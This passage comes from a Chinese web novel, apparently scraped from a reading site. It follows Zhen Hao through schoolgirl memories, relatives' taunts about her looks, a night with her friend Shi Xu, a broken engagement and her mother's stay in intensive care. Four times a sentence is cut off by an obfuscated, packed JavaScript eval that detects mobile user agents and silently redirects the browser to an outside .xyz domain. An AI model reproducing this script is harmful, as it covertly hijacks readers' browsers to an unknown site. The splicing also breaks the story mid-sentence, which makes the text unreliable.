她只看了一眼来信人是林海，就慌忙把手机放回口袋里，不敢点开看内容，一颗心从收到短信到回了寝室，都一直怦怦跳个不停。 最后她是躲进厕所看的信息。 “如果我弟出了什么事，都是因为你。你最好祈祷他能够安然无恙地回到家。” 看完后，甄好只觉得浑身血液被冻住了，脚沉重到挪不动半分。 要不是有人在外面敲门问她好了没，她都不知道自己什么时候才会想起来走出厕所。 甄好脑子一片空白，不知该如何应对这种事情。 她很想寻求周淳芮和鄢云书的帮助，可她们都只是初二的女生，能做些什么呢？ 这一忍就是三天。 她每天都害怕会突然收到林海的短信，甚至看到班主任都会下意识地心虚，生怕被叫去办公室谈话。 幸运的是，连日来都无事发生，然而她的心却始终不敢彻底放下来。 直到周五下午放学，她收到了另一条意想不到的短信，来自林免。 他说：“对不起，甄好。我不知道我哥会找你，我代他向你道歉，真的很抱歉。我以后不会再打扰你了，祝你一切安好。” 看完短信，她一直提着的信终于落回了原处，却又不免担心起对方。 她纠结再纠结，还是给林免回复：“你，还好吗？” 林免却再没了音讯。 不过甄好总算是松了口气，脸上也露出了松快的笑容。 再后来，她听说林免退学了。 时间从不会为谁而停留，甄好很快升上初三，成为准中考生。 时序就像落入大海的水，在她的生活里消失得无影无踪。 在会考结束后的那个晚上，她难得梦见了少年。 梦里是一片金色的稻花，玉盘似的月亮挂在墨蓝的苍穹之上，风里有桃香，也有自由。 少年站在梯田的另一边，与她遥遥相望。 她好像看到他脸色露出温柔的笑，又好似听见他说了句什么，奈何耳边风声太大，她一个字都听不清。 可不过一个眨眼间，成片的稻花忽然变成汹涌的洪水，倒灌着朝两人而去。 时序的脸也在一瞬间变成了凌欢那张总是微微笑着的脸。 一个巨浪打过来，凌欢彻底被洪水淹没。 “欢欢——”甄好低叫出声。 醒来的时候，她下意识摸了摸脸颊——干燥的。 她没有哭。 她以为自己会哭。 凌欢被洪水带走生命已经是十年前的旧事，甄好却还是时常在午夜梦回时经常见到她。 “欢欢，你是不是一直在怪我？”甄好像丢了魂似的，喃喃自语。 当初如果不是因为她，凌欢也许就不会出事。 此时不过半夜，寝室里的人睡得正熟。 甄好在黑暗里大口喘着粗气，像溺水的人拼命想要抓住浮木。 周淳芮迷迷糊糊的声音在静谧中响起：“好好，你怎么了，是不是做噩梦了？” 担心吵醒室友们，甄好压低声音道：“我没事，睡吧，明天再说。” “好吧，那你也快睡吧。”周淳芮说完翻了个身很快又睡着了。 甄好却怎么都睡不着了，几乎是睁着眼睛到天亮。 关于那个噩梦像是一场幻觉，梦醒了，就要继续奔赴忙碌的现实。 中考如期而至，甄好和鄢云书都考取了不错的成绩，直升安南的高中部。 周淳芮虽然成绩不如她们，但也算是运气爆棚，以吊车尾的成绩留在了安南。 甄好收到录取通知书后，不知在哪里潇洒的甄温柔又回到了甄家，为甄好张罗了两大桌子，说是为她庆祝庆祝。 来的都是甄家的亲戚，除了两桌大人，甄温柔还体贴地为甄好留了一桌小孩桌。 不过甄好只邀请了周淳芮和鄢云书，其他同学她都不好意思让他们来。 只是坐在席上时，她忍不住想，要是时序也在就好了。 席间，甄好的大姑甄温婉端着果汁走到了小孩桌。 她先是恭喜了句：“阿砰真厉害，考上咱们这里最好的高中了。” 甄好听了直皱眉，哪怕知道在这开心的日子反驳长辈有些扫兴，她还是忍不住纠正道：“大姑，别叫我小名。” 因为这个小名，她从小被多少人嘲笑只有她自己知道。 她讨厌这个带有贬义的小名。 “怎么考上好学校连小名都叫不得了？”甄温婉有些不高兴道。 眼见饭桌上就要起硝烟，甄美撒娇道：“干妈，您尝尝这道菜，可好吃了。” 甄温婉结婚多年却始终没有孩子，在甄美出生后便认了她做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15663790|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干女儿。 “还是我们小美乖。”甄温柔喜笑颜开，彻底将注意力转移到甄美身上，又说起了那些甄好听过无数次的话，“瞧瞧小美这小脸，鼻子好看得像做的，樱桃小嘴长得也是真好，皮肤又白又嫩，可比姐姐长得漂亮多了。” 这时刚好另一个亲戚也走到这边来了，听到甄温柔的话也跟着附和：“可不是嘛。甄小妹净挑着父母的优点长，活脱脱一个美人坯子，要是姐姐眼睛再大点就好了。” 甄好放在膝盖上的手紧握成拳，嘴唇也被她死死咬住。 这些话她忍了很多年了，却始终没有勇气反驳。 因为事实确实如此，从方方面面来说，甄美真的长得比她更漂亮。 俗话说三个女人一台戏，第三个亲戚也加入了对话：“甄小妹这皮肤真是好得让人羡慕，姐姐要是再白一点就好了……” 就在甄好终于听不下去之际，周淳芮先拍桌而起：“你们说够了没？当着人家姐妹的面这样评头论足比来比去有意思吗？” 甄温婉眉头一皱：“你这孩子怎么说话呢？我们夸小美长得好还有错了？” “就是啊。”另一个亲戚帮腔道，“你怎么没大没小的，大人说话有你什么事？” “夸小美长得好当然没问题，但通过贬低好好去夸小美就是天大的问题！”即使是面对三个大人，周淳芮也丝毫不惧。 一个较年长的亲戚听了只觉脸上挂不住，直接来了一句：“甄好，你看看你交的什么朋友！没家教！” “够了！”甄好捏着拳头站起身，终于忍无可忍道，“芮芮是我的好朋友，请你们尊重我，也尊重她！” 说着，她拉着周淳芮和鄢云书离开了那让人开心不起来的宴席，全然不顾身后气得脸红脖子粗的三人。 等跑出大老远，甄好才停了下来。 天知道她刚刚有多紧张，不仅手心被汗湿，后背也铺了薄薄一层汗。 那是她第一次对大人们多年来的外貌攻击进行反抗。 她只是在那时想起小时候少年对自己说过的一句话：“遇到压迫要知道反抗，只知道忍是没用的。” 就是这样一句话，在当时当下，给了她无限的勇气。 当晚，甄好在日记本里写下：“多可惜啊，在我满身荣光的时刻，你却不在身边。” 她刚盖上日记本，甄美在门口探头探脑的，一副小心翼翼的模样。 “怎么不进来？”甄好哭笑不得。 “阿姐，你不生我气吗？”甄美还在为白天的事耿耿于怀。 “想听真话吗？”甄好朝她招招手，“你先进来。” 甄美缓慢地点点头：“嗯，想听真话。” 她并没有进屋，仍旧站在门口，保持探出个脑袋的动作，一脸无辜地看着甄好。 “真话就是——”甄好笑了笑，“不生气。” 她是真的不生气，她气的是那些大人。 但凡她小心眼一点，她们姐妹俩非变成仇人不可。 “真的吗？”甄美听了终于踏进房间，一脸喜气洋洋，“温柔小姑好厉害，是她告诉我有话不要憋着，一定要告诉那个人。阿姐，我想告诉你，我很高兴有你这个阿姐。” 甄好抬手揉了揉她刚刚齐耳的短发，说了一句不相干的话：“阿美，把头发留长吧，姐姐帮你扎辫子。” 她那么漂亮的妹妹，留长头发一定会更好看。 何允莲不帮甄美扎头发，那就换她来。 39. 先住进你身体里 想把全世界都捧给她。 ——《时序日记》 一九九二年，甄好出生在刺桐村。 一九九七年，她与时序初识，不久后便被迫分离。 一九九九年，她背着书包开始了小学生生涯，跟时序同班。 二〇〇五年，两人一同升上初一，缘分深到依旧是同班同学。 二〇〇六年，少年不告而别，却顶着有钱人家流落在外的小少爷身份在学校里出了名。 二〇〇八年，汶川大地震，甄好第二次吃了一个月的泡面，把剩下的生活费都捐给了受灾人民。 同年，甄好以优异的成绩升上安南本部的高中，正式成为一名高中生。 直到二〇一五年，阔别九年的两人在酒吧里重逢。彼时，她因为与初恋男友秦深第一次吵架吵到分手而喝得眼泪直流。 再到如今，距离他们重逢又过了四个年头，她竟然直接跟他滚到床上去了…… 关于时序的回忆从十四岁那年就开始断层，重逢也挑在她狼狈的时刻，就连现在的身体零距离，亦是在她如此失意的时候。 他们之间，好像永远时机不对。 那一夜荒唐过后，甄好是怎么回答时序的呢？ 她看着男人，眼里有痛楚也有其他连她自己都说不清的情绪，她说：“你是知道的，我心里还有他。” 在一起八年的人，不可能因为一晚的欢愉就能够被彻底抹去。 更可怕的是，在发现自己与时序发生关系后，她的愧疚感并未持续太久，很快被另一种名为“报复”的快感取代。 报复秦深的背叛。 她本以为时序会知难而退，谁知他手上的力道不减，依旧将她的手腕握得牢牢的：“好好，我不介意。我愿意先住进你身体里，再住进你心里。” 此时天光已经大亮，甄好听着男人像誓言一样的话，心却抖得厉害。 她忍不住勾唇自嘲：“裴家在闽市有头有脸，时大少爷又是裴氏集团未来的继承人，何必如此自降身价？你别忘了，我是有婚约在身的。你和我，始终是两个世界的人。” 说完这段话，她不再看男人，俯身捡起自己的东西便朝门口走去。 偏偏落下了最重要的手机。 在她起身时，手机无声地滑落到柔软的被子上，她没有第一时间发觉。 时序被她的一番话说得一时找不到合适的话反驳，等他回过神来，房间里已经不见女人的身影。 余光瞥见甄好遗落的手机，他心中一喜，忙拿起来准备追出去，却在不经意间看到了屏幕上的短信内容。 贷款余额998667.05元，本期应还8965.08元…… 他抬起的脚步一顿，一股难以言喻的感觉袭上心头。 去而复返的甄好见他拿着自己的手机发愣，顿时就明白了。 “你都看到了？”她的声音轻轻的，很快飘散在空中。 “好好……” 时序的话被她打断：“都看到了也好，省得我多说。你现在都知道了，我不仅是个有婚约的女人，还是个债务缠身的女人。所以，离我远一点。昨晚的事，就当没发生过。” 说完，她伸手夺过自己的手机，头也不回地走了。 退婚一事并不顺利。 在人前，甄好能够保持一定的冷静和较清醒的头脑，该说的、该还的，丝毫不拖泥带水。 可在人后，情绪一次又一次地反扑，枕头不知道哭湿了几回。 每个深夜里醒来的时刻，她都希望时间能够扭转，将她送到不再为负心男人伤心的那一天。 她不知道自己要用多久才能将这八年的青春嚼碎嚼烂，再重组。 她只想赶紧让这件事结束并成为过去。 可秦深像不散的冤魂，在甄好慢慢接受事实的第七天，来到了她家楼下。 他给她发消息：“好好，求求你再见我一面。我们谈谈，可以吗？” 这些日子以来，甄好从一开始的期待手机响起到后来的害怕手机发出任何动静，没人知道她在短短的一周里经历了什么。 第一天，她希望秦深背叛自己这件事是一场梦。 第二天，她懊恼自己喝酒误事，将事情推向不可挽回的地步。 哪怕是证据确凿亲眼所见的事，她依旧妄想这一切只是误会，依旧在等待秦深亲口向自己解释。 可是她等啊等，第三天，第四天，第五天……她从早等到晚，手机却一直静悄悄的。 到了第六天，她开始心灰意冷，甚至幻想秦深已经和那个女人双宿双飞，自此离开闽市，两人此生不复相见。 都说女让人失恋前期最难受，随着时间的推移会慢慢变得无所谓，甄好算是体会到了。 第七天早上，她一睁开眼睛，盯着天花板茫然了片刻，脑中像被什么敲了一下，忽地觉得不能再这样下去了…… 于是她翻身起床，精心地收拾打扮自己，又在群里发了消息，准备找周淳芮出去喝下午茶。 为什么不找鄢云书呢？ 不用问，鄢医生一定没空。 果真，出门前。她看了一眼群消息，只有周淳芮回应了她。 与此同时，秦深的消息也随之而来。 甄好只是看到那个熟悉的头像，心就再次不可抑制地紧缩，先前所有的自我疗愈顷刻间坍塌。 她逼自己狠下心，没有第一时间回复，转而在三人小群里发消息：“他找我了。” 依旧只有周淳芮在发言：“那我们改天再约。” 甄好心里憋着一口气：“凭什么他找我我就必须有空？” 正在敷面膜的周淳芮轻轻地叹出一口气，还是决定推好友一把：“好好，去见他吧，哪怕是最后体面的告别。” 她是看着甄好和秦深一路走过来的，感情这种事情，她作为外人没有发言权，但她真心希望好姐妹一切都好。 就算是以眼泪为代价，她也会陪着甄好熬过黑暗，等待黎明的曙光。 甄好仍旧固执己见：“他做了那么过分的事，我不想见他，我觉得恶心。” 说这话的时候，她不免觉得心虚。 心虚的同时，时序那张好看的脸和健美的身材一并跃入她脑海中。 说来她也对秦深做了很过分的事。 既然甄好都这样说了，周淳芮自然不会勉强她。 只是她没想到见面后，甄好第一句就扔下了一枚重磅炸弹：“芮芮，我犯了全天下男人都会犯的错。” 周淳芮惊恐地瞪大双眼，吓得说话都结巴了：“你……你该不会是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15681635|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫……叫那啥了吧？” 两人来的是一家环境清幽的茶吧，也是甄好常来演出的地方。饶是方圆两米之外再无旁人，周淳芮也还是特地压低了声音。 所以甄好没听清：“叫什么那啥？” 周淳芮只好又重复了一遍：“你该不会是叫特殊服务了吧？” “我叫什么特殊——”甄好听了不由得提高声音，意识到自己在说什么时，才及时降低音量，“我没有叫特殊服务，你别瞎猜。” 她刚说完，余光却瞥见一个熟悉的身影，一张脸顿时微微发烫。 怎么会是他？ 怎么就这么巧？ 不等她反应，时序已经踩着稳稳的步子朝她们这桌走来。 他的确如她所说，看起来像是当从来没有过那晚似的，笑容轻松随意地跟她们打着招呼：“好巧啊。” 可真的看到他当什么都没发生，甄好心里又觉得不是滋味。 “时序？”周淳芮也有些惊讶会在这里看到他，故意调侃道，“时大少爷不像是会来这种地方的人啊。” 这家茶吧在闽市只能算是小资格调，与裴氏集团继承人的身份严重不符。 听到她的话，原本还一脸坦然的时序突然不自在地掩嘴轻咳了一声。 他不着痕迹地看了一眼甄好。 他总不能说自己经常来这里，是因为知道甄好常常在这里唱南音吧…… 所以严格说起来，这并非偶遇，是他守株待兔已久。 那一夜过后，他想了很多，却想不到该怎么处理与甄好之间的关系。 想来想去，他最终决定遵循“事缓则圆”的原则，给自己也给甄好一点时间。 他忍了又忍，才忍住没有主动联系甄好。 也忍了又忍，才忍住没有去把秦深揪出来揍一顿。 他原以为秦深能够给甄好幸福，他都已经打算成人之美，彻底放弃爱了那么多年的女孩了，谁承想会闹这么一出…… 见甄好始终不发一语，周淳芮觉得奇怪：“好好，你们……吵架了？” 她说话的同时来回快速看了两人一眼。 自从时序重新出现在他们的生活中后，成年人的世界总是更直接，甄好和时序的关系反倒褪去了年少时的扭捏，一直相处得愉快且融洽。 总之不是眼下这种奇奇怪怪的状态。 甄好很快开口否认：“没有吵架啊，我跟他都很久没见了，吵什么架……” 她越说越心虚，目光不自觉地变得飘忽，没有落在实物上。 “我也没说你们经常见面啊……”周淳芮无意识接的一句话更是让甄好像被踩了尾巴的猫。 她整个人直接从椅子上站了起来：“没吵架，也没见面，就这样，我先去休息室了，快到演出时间了。” 周淳芮莫名其妙地看了她一眼，总觉得哪里怪怪的。 不过没等她发问，不知谁的手机铃声先响了起来。 甄好本就心虚不已，突然响起的手机吓得她差点没拿稳。 电话是甄美打来的，她一接起就听到对方含着哭腔的声音：“阿……阿姐——” 她忙安抚：“你慢慢说，别急，阿姐在。” 甄美一边哭一边说，甄好的脸色顿时惨白如雪：“你说什么？我马上到！” 40. 不容乐观的情况 时光一直在往前走，我的心却永远停在年少时刻。 停在那个留着齐肩短发的少女身上。 ——《时序日记》 初秋的阳光和暖，晒在人身上并不难受，反而很舒服。 秦深在甄好家楼下等了许久都不见她人，不免焦躁起来。 他当然不会知道甄好早就绕到另一个门离开了。 初秋的雨也说下就下，豆大的雨珠打得秦深猝不及防，就像他稳步向前走的人生突然被打乱。 他找到躲雨的屋檐时，另一边陷入比这场大雨还要突然的兵荒马乱中。 市人民医院，急诊科。 见甄好、时序和周淳芮都来了，甄美有瞬间的错愕，但很快说起正事：“阿姐，医生说咱妈的情况不容乐观。” 何允莲在家突然晕倒，要不是甄美正好回家取入职资料碰上了，后果不堪设想。 “医生怎么说？”甄好强迫自己冷静下来。 “医生说……说……”甄美的话被另一道女声接过。 “何女士接下来要转入ICU，不过家属不要过于忧心，要相信病人。”来人戴着无边框眼镜，明眸皓齿，黑色头发在脑后扎成一个低马尾，白大褂穿上她身上十分好看。 鄢云书先是公式化地说了几句，而后才放柔了声音对甄好说道：“好好，别太担心了。要相信医生，也要相信阿姨。” 虽然这番话安慰的成分更大，但医生的话总是具有神奇的抚慰人心的力量，在场所有人听了哪怕担忧犹在，也都舒了一口气。 甄好又跟主治医生聊了一下，更具体地了解了一下何允莲的病情。 主治医生和鄢云书都离开后，甄好整个人无力地靠坐在走廊的长椅上。 何允莲是心脏方面出了问题，无论是一直昏迷不醒住在ICU还是今后的手术，都需要一大笔费用。 甄家的日子虽说比以前好了很多，但依然只是普通家庭，甄黎正在读高三，甄美刚过法考，还没正式入职律所，甄东成的生意一直没什么起色，甄好又债台高筑…… 她唯一能想到的只有把自己咬牙买下来的房子急售，可再怎么急也没办法一下子就拿到钱…… 她已经记不清自己是第几次感到心有余而力不足了，她不知道别人的二十八岁是怎样的，她只知道自己的糟糕透了…… 真的糟糕透了…… 一切都糟糕透了…… 忽地，她眼前的地板被阴影覆盖，一个人在她面前蹲了下来。 周淳芮的声音在她头顶响起：“好好，有我们呢。” 甄好没有抬头，只是眼睛眨也不眨地盯着周淳芮脚踝上那道明显的伤疤。 看着看着，她不合时宜地想起一些往事。 严格说起来，这道疤痕，也是她和周淳芮之间曾出现过的裂痕。 那是初二下学期发生的事情。 周淳芮不知道因为什么事当晚要请假晚自习回家一趟，偏偏她的单车又坏了，不得已只能向甄好借。 把钥匙交给她的时候，甄好说了句：“注意安全。” 周淳芮回头冲她拍了拍胸脯：“放心吧，我的车技没话说。” 甄好那辆旧单车在上个星期彻底报废，小姑二话不说就给她买了一辆新的，并且还是她喜欢的银白色单车。 不仅比原来的漂亮，车身也更高更流畅，她终于不用再勾着身子骑车。 第二天一大早，周淳芮准时出现在寝室，却是以满身满血的模样。 鄢云书吓坏了，冲上前去左右查看：“芮芮，你怎么弄成这样？没事吧！” 周淳芮只是笑笑，说：“没事，就是骑车摔了，都是一些小小的擦伤。” 听到“骑车摔了”四个字，甄好也不知自己是怎么了，脱口而出的竟是：“车没事吧？” 当时寝室只有她们三个人，其他同学已经去食堂吃早餐了。 甄好话刚说出口就后悔了。 然而更可怕的是，她后悔的并非自己先关注的是车怎么样了，而是懊恼自己为什么不装成一副关心好友的模样…… 她当时真的只有一个想法，小姑给她买的新车不能有事，家里没有钱再给她买一辆了…… 甄好当下觉得自己很无耻，可这些都是摆在她面前赤裸裸的现实。 也是从这个时候开始，她才意识到自己的性格底色是冷漠的，冷漠到近乎自私。 比如开运动会的时候，有同学因为跑步而摔倒受伤，当所有人都围上去关心，她只会游离在人群外，内心毫无波澜。 等有同学回过头看到她，她才会象征性地问一句：“X同学还好吗？” 这种表面看似关心其实内心一片冷漠的暗黑心理，她从未对任何人说起过，包括关系最亲密的周淳芮和鄢云书也不例外。 她羞于启齿，觉得自己心眼有点坏。 甄好先关心自己的单车这件事，属实让周淳芮伤心了好一阵。 她想不明白自己为什么连一辆两百元的单车都比不上，当下眼睛就红了。 她骑着单车从高高的坡上摔下来时，那种痛都没有让她掉眼泪，却在甄好那句“车没事吧”中红了眼眶。 两人因此又开始了为期不定的冷战。 甄好明知道这次是自己过分了，却始终不肯低头，她别扭又傲娇，从小到大性格都硬得像石头，面对亲近的人更甚，怎么都不肯轻易认错。 这种犟脾气随着她年龄的增长越来越严重。 最后她们是怎么和好的呢？ 是鄢云书。 她硬拉着两人去到后山，当起了和事佬：“好好，我说句公道话，这件事是你做得不妥。我不相信你不担心芮芮，你只是害怕被家里人骂对不对？” 何允莲是如何对待甄好的，她和周淳芮再清楚不过。 听到鄢云书这样说，甄好心里涌起异样的感觉。 鄢云书总是一副看起来清冷又无所谓的样子，可甄好青春里所有的小心翼翼她好像都懂，也都全盘接受。 甄好表面对谁都差不多，不懂拒绝，也从不主动得罪谁，遇到事情只想着大事化小小事化了，放心理学上，是典型的“讨好型人格”。 如果说她是外热内冷，那么鄢云书便是外冷内热，她们是完全不一样的两个人，却如同神迹出现般，总能在某些时候产生共鸣。 不等甄好说什么，鄢云书又侧过头说起周淳芮：“还有芮芮你也是，我们都认识这么多年了，你还不了解好好吗？她说的话有几个字是能正着听的，嗯？” 周淳芮听了，有些汗颜地垂下头。 鄢云书说的一个字都没错，从她们认识甄好的第一天起，她就爱说反话，从不敢将心里所想真正地表达出来。 甄好的语言系统中好像永远只有“好”“嗯”“没事”“随便”“没问题”“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15699799|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道了”“不讨厌”“都可以”“你决定”“我都行”等一系列没有几乎自我意愿的词语。 就连面对亲戚从小到大的打压式话语，她也提不起第二次反抗的勇气。 第一次是在甄家还没有出事时，时序带着她打了一架。 回忆总是带着苦涩，像未熟透的李子，叫人垂涎，又叫人不敢咬下去。 “芮芮，这道疤……”回忆结束，甄好抬起头，忽然问了一个与此情此景不相干的问题，“还疼吗？” 听到这个问题，周淳芮一愣。 “什么？”她一下子没反应过来。 直到低头看到自己的脚踝，她才了然。 甄好不提，她早就忘记自己那里留下了一道疤。 那是初二那年骑着甄好的新车摔的。 “不疼，这可是战绩，好看着呢。”周淳芮微微扬起嘴角，语气里有着一丝骄傲。 中二时期的她，自诩车技无人能敌，当时脑子也不知是被什么踢了，非要从那个魔鬼高坡上骑下来不说，还不知死活地放开双手，想象自己能将山风抱个满怀。 喜欢放双手骑单车的往往都是男生，周淳芮是女生中的例外。 男生们总是喜欢凑在一起切磋谁的车技更好，特别是比赛谁可以放开双手骑单车骑得更久…… 周淳芮不仅成功打入男生内部，还赢了一个又一个男生，除了一个人…… 她垂眸抬眼间，就见一个身高腿长，走路好似生风的男人出现在视野当中。 当真是白天不能说人。 男人快步来到她面前，不等他说话她先开口：“你怎么来了？” 傅安淮眼角一跳，轻飘飘地吐出两个字：“顺路。” “傅大教授顺路来医院……”周淳芮努力措辞，“买酒？” 她在赶来医院的时候正好和傅安淮在微信上聊天，不过她没什么心思多聊，只丢下一句“在去市人民医院急诊科的路上”，便单方面结束了对话。 而在这之前，他刚好顺嘴说过准备出门买酒，给家里的酒柜补充品种。 两人平时没事喜欢喝点小酒，无论是古法酿酒，还是各种洋酒，都能喝上两口。 重逢以来，他们没少约着一起探索美酒。 她怎么都想不到傅淮安会追到医院来。 看着男人有些吃瘪的表情，周淳芮原本因为何允莲一事而有些沉重的心情莫名得到了些许缓解。 因为傅淮安的到来，走廊里一下子显得逼仄起来。 甄好有意给周淳芮和傅淮安留出单独相处的空间，便说道：“芮芮，我妈不知道什么时候才会醒，你还是先回去吧，有事我会给你打电话的。” 除了给傅安淮制造机会，甄好也清楚周淳芮近期有紧急的工作需要到国外去，不能耽误。 周淳芮还想说些什么，一直没说话的时序这时开了口：“放心吧，这里有我。” “那好吧。”周淳芮妥协道，“一切就拜托时大少爷了。” 重逢之后，周淳芮就一直“时大少爷，时大少爷”地叫，听多了，时序也懒得纠正她。 傅安淮冲甄好点点头：“那我们先走了，需要的话随时打电话。” 甄好点点头：“谢谢傅教授。” 周淳芮刚走出两步，就差点与一个急匆匆跑来的身影撞上。 “你来干什么？”看清来人，周淳芮的脸色顿时转冷。 41. 我会更爱我自己 我不后悔遇见你，我后悔的是，我成长得太慢，慢到任何人都有机会伤害我，我却无力抵抗。 如果时间重来，我还是会爱上你，却不会只爱你。 我会，更爱我自己。 ——《甄好日记》 秦深顿住脚步，面对周淳芮的问题，他一言不发。 外面下着大雨，他在甄好家楼下没等到人不说，还淋了雨，这会儿发梢有些湿漉漉的，形容略显狼狈。 他一遍又一遍地拨打甄好的电话，却始终无人接听。 不得已之下，他只好给甄东成打电话。 两人在一起这么多年，对双方的家人早已熟悉得不能再熟悉，退婚一事也牵扯更多人和事。 事情刚发生时，他整个人心烦意乱，根本不知道自己想要什么，一门心思只想逃避，先让两人都静一静。 等他彻底冷静下来后，却怎么都联系不上甄好了。 甄东成接到电话的时候正在从邻市赶来闽市人民医院的路上，听秦深在电话里说得真诚：“阿叔，好好的事我知道错了，可是我联系不到他，阿叔可以帮帮我吗？我不想让自己，也不想让好好有机会后悔。” 年少时的遗憾甄东成再清楚不过那是什么锥心之痛了，所以便自作主张地将甄好的行踪告知了秦深。 且不说这个，不管两个孩子能不能结成婚，何允莲病重一事，秦深都有立场知道。 得知何允莲入院，秦深挂断电话立刻打了车前往医院。 周淳芮见秦深要往前走，伸手拦住他：“这里不欢迎你。” 何允莲住进ICU本就让甄好心里难受，如今秦深再横插一脚，她怕甄好承受不住。 “周淳芮，这不关你的事。”秦深越过她的肩，看向她身后不远处的甄好。 甄好这时正好抬头朝他望来，两人霎时四目相对。 她并不想在此刻看见秦深，但也不想在这里闹得太难看，于是主动走过来对他道：“找我什么事？” 秦深分得清轻重，知晓此时不是解开误会的最佳时机，是以开口问的是何允莲：“阿姨怎么样了？” “谢谢关心，我妈会没事的。”甄好的语气和神情都十分冷淡，仿佛在跟一个陌生人说话。 秦深被她冷漠的眼神刺痛，却也深知眼下不是说这些的时候。 “芮芮，我没事。”甄好说完又给周淳芮一个安抚的眼神。 周淳芮两人这才放心地离开。 他们走后，这里便只剩甄好、甄美、时序和秦深四人。 “阿姐，我出去给你们买吃的，妈有情况随时给我打电话。”甄美借口去给几人买吃的，提前溜了。 等现场只剩三人时，甄好的心情有些复杂。 她没想过会跟秦深在医院里见面，更没想到是他们三人面对面处在同一空间里。 心乱如麻。 如今只有这四个字能够形容她的心情。 既担心何允莲的安危，也痛心秦深的背叛，更心虚自己和时序之间…… 她看了一眼时序，又看了一眼秦深，选择沉默以对。 从秦深出现的那一刻，时序不算友好的目光就一直落在他身上。 “时序，谢谢你照顾我家好好。”秦深的目光亦带着审视。 他一直知道甄好身边有这样一个异性好友，不过两人一直保持着恰当的距离，并未有任何逾越，他也就不曾说过什么。 时序并未回答他，而是将视线放在甄好身上：“好好，我有事先离开一下，有情况打电话。” 哪怕再不想放甄好和面前这个男人单独相处，他也明白此时自己必须退出，事缓则圆的道理他懂。 就这样，甄好收获了三个人的“有事打电话”，最终变成和秦深面面相觑。 在医院这种地方谈什么事情都不合适，两个人沉默了许久。 医院的走廊实在太过压抑，甄好受不了这种氛围，在沉默中站起身朝外走去。 秦深并未开口阻拦她。 看着她略显疲惫的身影，他感受到了久违的心疼。 明明在一周之前两个人都还好好的，他不明白怎么会变成如今这样的局面。 他想追出去，可又怕何允莲这边有突发状况，到底还是忍住了。 这些天他也想通了很多，他和甄好之间，需要好好谈谈，只不过眼下不是最好的时机。 露台。 打火机开开关关的“咔嗒”声，清晰可闻。 时序有一下没一下地摆弄着随身携带的金属打火机。 他没有抽烟的习惯，却有收集打火机的习惯。 甄好没想到他一直没走，两人就这么不期而遇。 她想躲已经来不及了，因为时序发现了她。 一个对视间，那种尴尬感再度袭卷甄好全身。 “你怎么在这里？”她没话找话道，缓解尴尬的氛围。 “出来透透气。”时序撒了个谎，“正好看到这边的风景不错。” 其实他是想给甄好和秦深留一个空间。 想给她时间好好处理自己的这八年青春。 说好当昨晚什么都没发生过的人是甄好，面对时序却又显得无所适从的人也是她。 里面是秦深，面前是时序，她只觉得空气逼仄到快要让她呼吸不过来。 她掉转脚尖，想逃。 “我再去找医生聊聊。”甄好找了个蹩脚又合理的理由，说话间人已经转身。 “好好——”时序却叫住她。 甄好只是顿住脚步，没有回头，也没有应答。 她也迟迟没有等到下文。 就在她想要开口询问身后的男人时，才传来一句轻柔却坚定的话：“无论你怎么选择，我都会等你，也尊重你。” 傍晚的风轻轻地拂过耳畔，世界的喧嚣好似在这一刻停止。 时序无疑是温柔的，温柔到让她不知所措，也让她分不清自己对他到底是感动还是其他。 甄好再次选择落荒而逃，一个字都没有留给他。 在何允莲进入ICU的第七天，甄家几乎掏空了家底。 甄好本就负债累累，银行的还款日已然逼近，医院又有一堆费用等着缴纳，她愁得整夜失眠，整个人瘦了一大圈。 何允莲入院的第二天，她的房子就挂起了出售，价格一降再降，都无人敢接手。 最为要命的是，随着新一波流感的来袭，医院做出了新的规定——每次探病人数只能为一人。 屋漏偏逢连夜雨，甄家人一个接一个倒下，流感来势汹汹， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709293|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 每个人都有不同程度的症状，照顾病人的重担全部落在了甄好身上。 甄美的流感症状较轻，在她好得差不多的时候，医院那边也传来好消息——何允莲醒了。 甄好终于得以喘一口气。 